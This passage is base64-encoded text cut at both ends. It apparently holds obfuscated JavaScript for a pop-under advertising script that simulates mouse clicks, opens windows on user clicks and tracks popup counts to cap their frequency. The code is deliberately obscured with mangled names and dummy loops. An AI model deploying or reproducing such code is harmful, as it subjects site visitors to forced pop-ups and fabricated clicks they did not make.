FZ0LGNpKSx0Lnd0fHxGaSx0LkJlfHxHcik7dC56ZSYmKGUmJmVbSW9dKCksbj1ndSk7IW4mJmUmJmlvKGZ1bmN0aW9uKCl7ZVtFaV1bdW5dPXQueHQ7dC5JZSYmaS5JZShlKTt9LDEwMCk7fSx1ZTpmdW5jdGlvbih0KXt2YXIgZSxpLG47bj10aGlzO3RoaXMuamU9ZHJbTW5dKCk7dGhpcy5mZT10O2U9R2Mud2UoKTt3NS5vNCgxNSk7aT1aYy5CKGUsdzUuYzQoZ3QsR3IseGMsR3IsR3IsRmMseGMsR3IsZmMsR3IsVnIpKTsoZVtTYytHcittY109PT1PbiYmZVthYStHcitHaV0oanIpIT09RmkmJiFaYy5TKGUpfHxpJiYhWmMuUyhpKSkmJih0aGlzLmhlPWd1KTtpdS5YKHksSWUsZnVuY3Rpb24gdChlKXt0cnl7ZVtpZV0uamU9PT1uLmplJiZuLkxlKGVbaWVdKTtlW2llXS56ZSYmaXUuWih5LEllLHQpO31jYXRjaCh0KXt9fSk7fSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3RoaXMuSWU9cjt0aGlzLk1lKHtqZTp0aGlzLmplLEJlOm4sSWU6Z3UseHQ6dH0pO3RoaXMuTWUoe2plOnRoaXMuamUsemU6Z3UseHQ6VWErVnQrY2l9KTt9LGhlOnl1LE1lOmZ1bmN0aW9uKHQpe3lbSnQrR3IrWF0odCx5W0VpXVtSb10pO319KTtHYz17X2k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5RaSgpK3RoaXMuSGkoKT5aYy5HKCk7fSxLaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm10LkplO30sSmU6ZnVuY3Rpb24oKXt2YXIgdDt0PVpjLngoYXJndW1lbnRzWzBdKT9hcmd1bWVudHNbMF06YXJndW1lbnRzO3JldHVybiB0aGlzLm5uKHQsUm4sdFtwaV0mJnRbMF09PT15dSk7fSxraTpmdW5jdGlvbih0LGUsaSxuKXt0aGlzLk9pKGksdCxndSl8fG4oZ3UseXUpO30sV2k6ZnVuY3Rpb24odCl7dHJ5e3JldHVybiB0W3F0XSYmMCE9PXRbcXRdfHx0aGlzLmNpLkcrMTUwPlpjLkcoKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LFJpOmZ1bmN0aW9uKCl7dGhpcy5XZT1bXTt9LFlpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQucWU7fSxVaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLldlO30sWmU6bXUsVGk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHx0aGlzLnFpKHQpKXtyZXR1cm4geXU7fWlmKCF0aGlzLm10LnFlW3BpXXx8dFthYStHcitHaV0obG8pPT09ZnUpe3JldHVybiBndTt9Zm9yKDtlPHRoaXMubXQucWVbcGldO2UrKylpZih0PT09dGhpcy5tdC5xZVtlXXx8dHlwZW9mIHRoaXMubXQucWVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5xZVtlXVtYcytHcitwcitHcituY10oKXx8WmMuSSh0LHRoaXMubXQucWVbZV0pKXx8WmMuQih0LHRoaXMubXQucWVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LHdlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMueGUuUXQ7fSxMaTpmdW5jdGlvbigpe3ZhciB0LGU7ZT10aGlzO3RoaXMuWmU9WmMueihoYyx7c3R5bGU6b2MrVnQrRnIrSGErR3IrZXIrS2ErVnQrRnIrSGErR3IrZXIrRGErVnQrSXMrZXIrcCtWdCt6bitlcitIaStWdCt6bitlcitzbit3aStMK1Z0K25vK2VyK3h0K1Z0K1hpK2VyK0dyfSxHcik7dD1DbyhmdW5jdGlvbigpe3ZhciBpO2k9cmlbUXJdO2kmJihHcyh0KSxpW0l0K0dyK1dlXShlLlplKSk7fSwxMDApO30saGk6ZnVuY3Rpb24oKXt2YXIgTjksYTksWTksdCxlLGk7Tjk9LTUxNTA4MTc1NzthOT0tMTMwNjg1MTEzNztZOT0yO2Zvcih2YXIgczk9MTt3NS5kMShzOS50b1N0cmluZygpLHM5LnRvU3RyaW5nKCkubGVuZ3RoLDEwMDExKSE9PU45O3M5Kyspe1k5Kz0yO31pZih3NS5MMShZOS50b1N0cmluZygpLFk5LnRvU3RyaW5nKCkubGVuZ3RoLDQ1MzQ0KSE9PWE5KXt9aT10aGlzLlhlLm9pO2Zvcih0PTA7dDx0aGlzLmZpW3BpXSYmKCF0aGlzLnBpKCkmJiF0aGlzLl9pKCkpO3QrKyl7aWYoZT10aGlzLmZpW3RdLHRoaXMuWGUuc2krKyx0aGlzLlhlLm9pPVpjLkcoKSx0aGlzLmxpKGUpPT09eXUpe3JldHVybiB0aGlzLlhlLnNpLS0sdm9pZCh0aGlzLlhlLm9pPWkpO31pPXRoaXMuWGUub2k7ZXUuYShodSx0aGlzLlhlLm9pKTtlLnl0PT09bHUmJmV1LmEodXUsdGhpcy5YZS5zaSk7fX0sT2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBuLHIsbyxzO3c1Lm80KDQpO289dzUuYzQoR3IsVHQsR3IpO3c1Llk0KDIpO3M9dzUuYzQobyx0KTtmb3Iobj0wO248ZVtwaV07bisrKWlmKHI9KEdyK090K0dyK1R0K0dyKVtMK0dyK1dhXShlW25dWzBdKT4tMT9lW25dOm8rZVtuXSxzW2ZzXShzW3BpXS1yW3BpXSk9PT1yfHxpJiZyPT09d3Upe3JldHVybiBndTt9cmV0dXJuIHl1O30sZW46ZnVuY3Rpb24odCxlKXt2YXIgTDAsZDAsTzAsaSxuO0wwPTEyMjU5MjUxNjQ7ZDA9LTc2NDA0NzIyNjtPMD0yO2Zvcih2YXIgQzA9MTt3NS5MMShDMC50b1N0cmluZygpLEMwLnRvU3RyaW5nKCkubGVuZ3RoLDk4MzQ3KSE9PUwwO0MwKyspe08wKz0yO31pZih3NS5MMShPMC50b1N0cmluZygpLE8wLnRvU3RyaW5nKCkubGVuZ3RoLDg1NTk4KSE9PWQwKXt9aT10aGlzO249dGhpcy50bih0LGUpO3RoaXMuV2VbTXJdKG4pO3RoaXMuRGkobik7dGhpcy5pbnx8KEdjLkNpKCksZnVuY3Rpb24oKXt2YXIgdCxlO1hjLmImJigoZT1yaVtVcytHcitDbl0oaGMpKVtSYytHcitpdF0oVmEsZnVuY3Rpb24oKXtDdT1ndTt9KSxDdT1vNSx0PUNvKGZ1bmN0aW9uKCl7aWYoQ3U9eXUsIWkubXQuUmUpe2lmKHR5cGVvZiB5W3dzXSE9PWFyfHx0eXBlb2YgeVt3c11bT29dIT09WnMpe3JldHVybiBDdT1vNSx2b2lkIEdzKHQpO315W3dzXVtPb10oZSk7eVt3c11bTWldKCk7fX0sNTAwKSk7fSgpLHRoaXMuaW49bzUpO30sUGk6ZnVuY3Rpb24odCl7cmV0dXJuIHRoaXMuSmkoKSx0P3RoaXMuZmlbcGldOnRoaXMuZmlbcGldPjA7fSx2aTpmdW5jdGlvbigpe3ZhciB0LGU7dD1aYy5HKCk7ZT1aYy5HKGF1KTt3NS5ZNCgxNik7dGhpcy5YZS5yaT13NS5jNChlLHQsMzE1MzYwMDAwMDApO3RoaXMuWGUucmkmJih0aGlzLmxpPWt1KTt9LEJpOmZ1bmN0aW9uKCl7dmFyIHQ7dD1VYyhldS5jKGh1KSwxMCk7cWModCkmJih0PTApO3RoaXMuWGUub2k9dDt9LENlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMuTih0KTtyZXR1cm4gZSYmIXRoaXMubXQuTmUmJlpjLlModCk/eXU6ZTt9LGp0OmZ1bmN0aW9uKHQpe3ZhciBlLGksbjtlPXR5cGVvZiB0PT09Z2U/Z3U6ISF0O3c1Lm80KDIpO2k9dzUuYzQocnUsSSk7bj1yaVthYStHcitDbitHcitpaStHcit0bl0oaSk7ZT9ufHwobj1aYy56KERvLHtjb250ZW50OkljK3dpK2lhLG5hbWU6aWEsaWQ6aX0pLHJpW2FhK0dyK1JlK0dyK2lpK0dyK1JpK0dyK21jXShvKVswXVtJdCtHcitXZV0obikpOm4mJlpjLlAobik7fSxHaTpmdW5jdGlvbigpe3RoaXMuWGUuaWk9Z3U7dGhpcy5oaT1rdTt9LEp0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubXQuRGU7fSx5aTpmdW5jdGlvbih0LGUsaSxuLHIpe2Zvcih2YXIgbyxzPTA7czxlJiYobz10W3NdLCEoMT09PW4mJihyKGlbcytlXSx0W3NdKmlbc10rcysoaVtzXT4+cyszKSl8fHIoaVtzKzIqZV0sdFtzXSoodFswXSt0WzFdK3RbMl0pKyhpW3NdPDxzKSl8fHIoaVtzKzMqZV0sZHJbQWNdKHRbMF0qdFsxXSp0WzJdL28pK28rKGlbc10+PnMpKSl8fG48MSYmKHIoaVtzK2VdLHRbc10qaVtzXStzKXx8cihpW3MrMiplXSx0W3NdKih0WzBdK3RbMV0rdFsyXSkpfHxyKGlbcyszKmVdLGRyW0FjXSh0WzBdKnRbMV0qdFsyXS9vKStvKSkpKTtzKyspO30scWk6ZnVuY3Rpb24odCl7dmFyIGU7ZT0wO2lmKCF0fHwhdGhpcy5tdC5KZVtwaV0pe3JldHVybiB5dTt9Zm9yKDtlPHRoaXMubXQuSmVbcGldO2UrKylpZih0PT09dGhpcy5tdC5KZVtlXXx8dHlwZW9mIHRoaXMubXQuSmVbZV09PT1UYyYmKHRbU2MrR3IrbWNdPT09dGhpcy5tdC5KZVtlXXx8WmMuSSh0LHRoaXMubXQuSmVbZV0pKXx8WmMuQih0LHRoaXMubXQuSmVbZV0pKXtyZXR1cm4gZ3U7fXJldHVybiB5dTt9LGNpOnt1aTp7fSxHOjB9LEhpOmZ1bmN0aW9uKCl7cmV0dXJuIFhjLm90P2RyW0JvXSh0aGlzLm10LlZlLDFlMyk6WGMuYnx8WGMuZ3x8WGMuY3R8fFhjLnV0JiYhWGMuZXQ/ZHJbQm9dKHRoaXMubXQuVmUsMjAwKTp0aGlzLm10LlZlO30sRWU6ZnVuY3Rpb24odCl7dmFyIGUsWjcsdDcsVTc7Wjc9LTEyNTc1NDEyNDI7dDc9MTMwMDY1ODcyMDtVNz0yO2Zvcih2YXIgejc9MTt3NS5MMSh6Ny50b1N0cmluZygpLHo3LnRvU3RyaW5nKCkubGVuZ3RoLDgzNTc3KSE9PVo3O3o3Kyspe2U9dHx8dGhpcy5jaS51aTtVNys9Mjt9aWYodzUuZDEoVTcudG9TdHJpbmcoKSxVNy50b1N0cmluZygpLmxlbmd0aCwzMDU1KSE9PXQ3KXtlPXQmJnRoaXMuY2kudWk7fXRyeXtlW01vK0dyK25pXSYmZVtNbytHcituaV0oKTtlW3FlK0dyK19zXSYmZVtxZStHcitfc10oKTt3NS5vNCg0KTtlW3c1LmM0KE5yLEdyLGNvKV09eXU7dzUubzQoNCk7ZVt3NS51NChtcyxHcixIcildPWd1O31jYXRjaCh0KXt9fSxpOmZ1bmN0aW9uKCl7dmFyIE8xLEcxLEMxO08xPS0xMzAyMzI0NTE3O0cxPTg4ODY0MDYzMDtDMT0yO2Zvcih2YXIgbjE9MTt3NS5kMShuMS50b1N0cmluZygpLG4xLnRvU3RyaW5nKCkubGVuZ3RoLDU5MTU1KSE9PU8xO24xKyspe3JldHVybiB0aGlzLm10LlVlfHx0aGlzLm10LkRlO0MxKz0yO31pZih3NS5MMShDMS50b1N0cmluZygpLEMxLnRvU3RyaW5nKCkubGVuZ3RoLDIzODAyKSE9PUcxKXtyZXR1cm4gdGhpcy5tdC5VZSYmdGhpcy5tdC5EZTt9fSxwaTpmdW5jdGlvbigpe3ZhciBoNyxpNyxMNztoNz0tMTUxMTEyMzE1NDtpNz0tMTY3MjAwNTI5NjtMNz0yO2Zvcih2YXIgTzc9MTt3NS5kMShPNy50b1N0cmluZygpLE83LnRvU3RyaW5nKCkubGVuZ3RoLDMyNTMzKSE9PWg3O083Kyspe3JldHVybiB0aGlzLiRpKCk8dGhpcy5tdC5IZTtMNys9Mjt9aWYodzUuTDEoTDcudG9TdHJpbmcoKSxMNy50b1N0cmluZygpLmxlbmd0aCwxOTk5KSE9PWk3KXtyZXR1cm4gdGhpcy4kaSgpPj10aGlzLm10LkhlO319LGdpOmZ1bmN0aW9uKHQsZSxpLG4scil7Zm9yKHZhciBvLHM9MDtzPGUmJihvPXRbc10sISgxPT09biYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzErKGlbc108PGlbc10lMTApLGlbZStzXSl8fHIob1trZStHcitucytHcitCaV0ob1twaV0tMSkqaVtzXSoyK3MrKGlbc10+PnMpLGlbMiplK3NdKXx8cihvW3BpXSppW3NdKjMrKGlbc108PHMpLGlbMyplK3NdKSl8fG48MSYmKHIob1trZStHcitucytHcitCaV0oMCkqaVtzXStzKzEsaVtlK3NdKXx8cihvW2tlK0dyK25zK0dyK0JpXShvW3BpXS0xKSppW3NdKjIrcyxpWzIqZStzXSl8fHIob1twaV0qaVtzXSozLGlbMyplK3NdKSkpKTtzKyspO30sV2U6W10sdG46ZnVuY3Rpb24odCxlKXtyZXR1cm4gbmV3IFljKHRoaXMuV2VbcGldLHQsZSk7fSxBaTpmdW5jdGlvbih0KXt0aGlzLmNpLnVpPXQ7dGhpcy5jaS5HPVpjLkcoKTt9LGFpOltdLE1pOmZ1bmN0aW9uKHQpe3JldHVybiBudS5YdCh0KSx0aGlzO30sWmk6ZnVuY3Rpb24oKXtyZXR1cm4gWmMucChbW1RyLHRoaXMubXQuRGVdLFtvaSx0aGlzLm10LlVlXSxbd3QsdGhpcy5tdC5SZV0sW0xyK0dyK3plLHRoaXMubXQuT2VdLFtSbitHcitFbix0aGlzLm10Lk5lXSxbRHQsdGhpcy5tdC5IZV0sW2xjK0dyK2JhLHRoaXMubXQucWVdLFtSbitHcitiYSx0aGlzLm10LkplXSxbUW4sdGhpcy5tdC5WZV0sW3crR3IrVix0aGlzLm10LiRlXSxbdytHcitEbix0aGlzLm10LlFlXSxbcG4rR3IrdHIrR3IrTG4sdGhpcy5tdC5HZV0sW0JzK0dyK2wrR3IrU3MsdGhpcy5tdC4kdF0sW05zK0dyKyRyLHRoaXMubXQuWWVdLFtJYytHcitwYytHcitfaSx0aGlzLm10LmJlXSxbTHMrR3IrYnQsdGhpcy5tdC5LZV0sW0IrR3IrdmUrR3IrX28rR3IreW4rR3IrTG4sdGhpcy5tdC5QZV1dKTt9LFRlOmZ1bmN0aW9uKHQpe3ZhciBlLGk7aT1aYy5PKGd1KTtyZXR1cm4gZT1pW3RvK0dyK3lhXVttcl1bVXMrR3IrQ25dKGRlKSwwPT09eVtFaV1bdW5dW0wrR3IrV2FdKGorVnQrR3IpP2VbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPUdyKyhXcitZZStHcit3bitHcikrKGYrVHQrUytUdCthYStHcitaZStHcitRaStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKTplW1BhK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXT1HcisoV3IrWWUrR3Ird24rR3IpKyhZcitUdCtjYStHcitfZStSK1pzK1IrR3IrUCtHcit3bitHcitEcitHcitQK0dyK2VyK0dyKSsoR3IrRHIrR3IrWWUrQXMrWWUrR3IrUitJYStQK0dyK1llK0dyK3duK0dyK0RyK0dyKSxpW3RvK0dyK3lhXVttcl1bUXJdW0l0K0dyK1dlXShlKSx0eXBlb2YgdCE9PVd0JiZ0eXBlb2YgdCE9PWdlfHxpbyhmdW5jdGlvbigpe1pjLlAoaSk7fSx0fHw1MDApLGk7fSxOaTpmdW5jdGlvbigpe3ZhciBvMSx3MSxwMTtvMT0tMjExMjgyOTI0MDt3MT00MjIxODMwODI7cDE9Mjtmb3IodmFyIHEwPTE7dzUuZDEocTAudG9TdHJpbmcoKSxxMC50b1N0cmluZygpLmxlbmd0aCwzNTgxNCkhPT1vMTtxMCsrKXtmb3IodmFyIHQsZT02O2U8PXRoaXMuV2VbcGldO2UtLSl7dD10aGlzLldlW2VdO3R1LnUodC5tdC5idCk7fXRoaXMuWGUub2k9dGhpcy5YZS5zaT00O2V1LnUodXUpO2V1LnUoY3UpO2V1LnUoaHUpO3AxKz0yO31pZih3NS5MMShwMS50b1N0cmluZygpLHAxLnRvU3RyaW5nKCkubGVuZ3RoLDUxMjkxKSE9PXcxKXtmb3IodmFyIHQsZT0yO2U8dGhpcy5XZVtwaV07ZSsrKXt0PXRoaXMuV2VbZV07dHUudSh0Lm10LmJ0KTt9dGhpcy5YZS5vaT10aGlzLlhlLnNpPTM7ZXUudSh1dSk7ZXUudShjdSk7ZXUudShodSk7fWZvcih2YXIgdCxlPTA7ZTx0aGlzLldlW3BpXTtlKyspe3Q9dGhpcy5XZVtlXTt0dS51KHQubXQuYnQpO310aGlzLlhlLm9pPXRoaXMuWGUuc2k9MDtldS51KHV1KTtldS51KGN1KTtldS51KGh1KTt9LHppOmZ1bmN0aW9uKCl7dmFyIHQ7dD0wO3JldHVybiBldS5zKCk/KHQ9ZXUuYyh1dSksZXUudSh1dSkpOnR1LmModXUpJiYocmlbaWFdPT09UnRbdW5dfHx+UnRbdW5dW0wrR3IrV2FdKEdyK3NlK0dyK3R1LmMoY3UpKSkmJih0PXR1LmModXUpLGlvKGZ1bmN0aW9uKCl7dHUudSh1dSk7dHUudShjdSk7fSwzMDApKSx0PVVjKHQsMTApLHQ9cWModCk/MDp0LHRoaXMuWGUuc2k9dDt9LG10OntOZTpndSxLZTp5dSxKZTpbXSxWZTowLCR0OmJ1LCRlOltdLERlOnl1LE9lOkZ1LEhlOjk5OTksUmU6eXUscWU6W10sWWU6MTAsVWU6eXUsUWU6Z3UsUGU6eXUsYmU6eXUsR2U6Z3V9LCRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuWGUuc2k7fSxRaTpmdW5jdGlvbigpe3JldHVybiB0aGlzLlhlLm9pO30sYmk6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhLGMsdSxuOSxGOSxnOTtzPXRoaXM7YT0wO2M9dGhpcy5YZTt1PWZ1bmN0aW9uKHQsZSl7dmFyIFA5LEo5LFg5O1A5PTMyNTI1NjI2O0o5PS05NTA1MjQwNDM7WDk9Mjtmb3IodmFyIFM5PTE7dzUuTDEoUzkudG9TdHJpbmcoKSxTOS50b1N0cmluZygpLmxlbmd0aCw0ODQ5MykhPT1QOTtTOSsrKXtyZXR1cm4gdD09PWV8fChjLm5pPWd1LHMubGk9a3UpLHQhPWU7WDkrPTI7fWlmKHc1LkwxKFg5LnRvU3RyaW5nKCksWDkudG9TdHJpbmcoKS5sZW5ndGgsNTM4MDApIT09Sjkpe3JldHVybiB0IT09ZSYmKGMubmk9Z3Uscy5saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKH